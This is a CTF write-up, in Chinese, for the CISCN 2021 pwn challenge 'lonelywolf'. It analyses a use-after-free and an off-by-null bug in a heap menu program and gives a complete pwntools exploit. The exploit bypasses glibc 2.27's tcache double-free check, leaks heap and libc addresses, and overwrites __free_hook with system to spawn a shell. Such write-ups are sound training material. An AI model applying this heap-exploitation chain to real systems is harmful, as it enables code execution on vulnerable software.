2021全国大学生信息安全竞赛WP(CISCN)

CISCN_2021_WP

概述

  作为学习不到一年的练习生,今年第一次参加国赛,本以为题目会比较温柔,但是最后只做出了一道pwn题,本来还有两道pwn题是有机会的,但还是缺少一些知识或者技巧吧,没做出来,然后就结束了。本次国赛pwn题出了一道arm 64位结构的,其余都是正常的linux下pwn题,使用libc-2.27.so,有一道考了沙箱机制。

ciscn_2021_lonelywolf

  ciscn_2021_lonelywolf
  这是我做出来的那道pwn题,这个pwn题整体说来不算难,是比较常规的pwn题,使用libc-2.27.so,比赛给的libc版本存在tcache double free检测,需要绕过。这一点和我平时在BUUCTF oj 上练习的版本以及自己在官网上找的debug版本好像有所区别,虽然同样是libc-2.27.so,但这些版本并不存在tcache double free检测。
  下面对题目简单分析一下,题目保护全开,整个题目实现了增删查改四个功能,这里有个trick,每个功能会要求输入对应的index,但实际上并没有用,因为题目只会保留最新的一个堆块指针和大小,并没有使用链表或者数组之类的结构来存储堆块指针。当然index会作为判断条件之一,我们只需要输入0,让if检测通过即可。如下图所示,展示了这个trick:
2021全国大学生信息安全竞赛WP(CISCN)
  如下面两个截图所示,是这道题目存在的两个漏洞,第一个漏洞是在edit功能里面,这里存在off_by_null,不过我的利用方式中并没有使用这个漏洞,所以这道题是存在多种不同的利用方式的。然后第二个漏洞在free功能里面,存在明显的UAF漏洞。
2021全国大学生信息安全竞赛WP(CISCN)
2021全国大学生信息安全竞赛WP(CISCN)
  接下来介绍下我的利用思路,由于题目限制了alloc的chunk大小,所以无法申请unsorted bin大小的堆块。所以这里首先构造double free,然后泄露出堆地址,计算出和tcache控制堆块head的偏移,然后在double free的基础上将堆块分配到head处。随后我们就可以修改控制堆块head的标志位,从而释放堆块到unsorted bin中,然后泄露处libc的地址。这里我们修改0x250的chunk标记位0xff,随后释放这个tcache控制堆块head,大小刚好也就是0x250,所以之后head会进入unsorted bin,此时利用我们就能leak出libc地址了。之后同样是修改tcache控制堆块head的一些标记,将 free_hook-0x8 的地址填入0x40的tcache堆块指针中,随后申请相同堆块的大小就能将堆块分配到 free_hook-0x8 上,最后填入"/bin/sh\x00"+system,free即可获取shell。下面是完整的exp:

from pwn import *


ld_path = "/home/fanxinli/ctf_go/glibc-2.27-64/lib/ld-2.27.so"
libc_path = "/home/fanxinli/ctf_go/pwn/ciscn/lonely/libc-2.27.so"
p = process([ld_path, "./lonelywolf"], env={"LD_PRELOAD":libc_path})
# context.log_level = "debug"

def new(size):
    p.recvuntil("Your choice: ")
    p.sendline("1")
    p.recvuntil("Index: ")
    p.sendline("0")
    p.recvuntil("Size: ")
    p.sendline(str(size))


def edit(con):
    p.recvuntil("Your choice: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline("0")
    p.recvuntil("Content: ")
    p.sendline(con)


def show():
    p.recvuntil("Your choice: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline("0")


def free():
    p.recvuntil("Your choice: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline("0")

# leak heap addr
new(0x78)
free()
edit("a"*0x10)   # bypass tcache double free
free()
show()
#  print(p.recv())
p.recvuntil("Content: ")
info = p.recvuntil("\n", drop=True)
info = u64(info.ljust(8, b"\x00"))
print(hex(info))

# alloc to tcache control head
head = info-0x250
new(0x78)
edit(p64(head))
new(0x78)
new(0x78)

# free head --> leak libc
pad = p64(0)*4+p64(0x00000000ff000000)
edit(pad)
free()
show()
p.recvuntil("Content: ")
info = p.recvuntil("\n", drop=True)
info = u64(info.ljust(8, b"\x00"))
print(hex(info))

# count
libc = ELF("/home/fanxinli/ctf_go/pwn/ciscn/lonely/libc-2.27.so")
base = info-0x70-libc.sym["__malloc_hook"]
sys = base+libc.sym["system"]
f_hook = base+libc.sym["__free_hook"]
print("f_hook: ", hex(f_hook))
print("sys: ", hex(sys))

# alloc to free_hook-0x8
new(0x40)
edit(p64(0)*4)
new(0x10)
edit(p64(f_hook-8)*2)
new(0x40)
edit(b"/bin/sh\x00"+p64(sys))
free()

p.interactive()

总结

不忘初心,砥砺前行!

上一篇:Prometheus+Grafana监控告警配置


下一篇:单位根反演学习笔记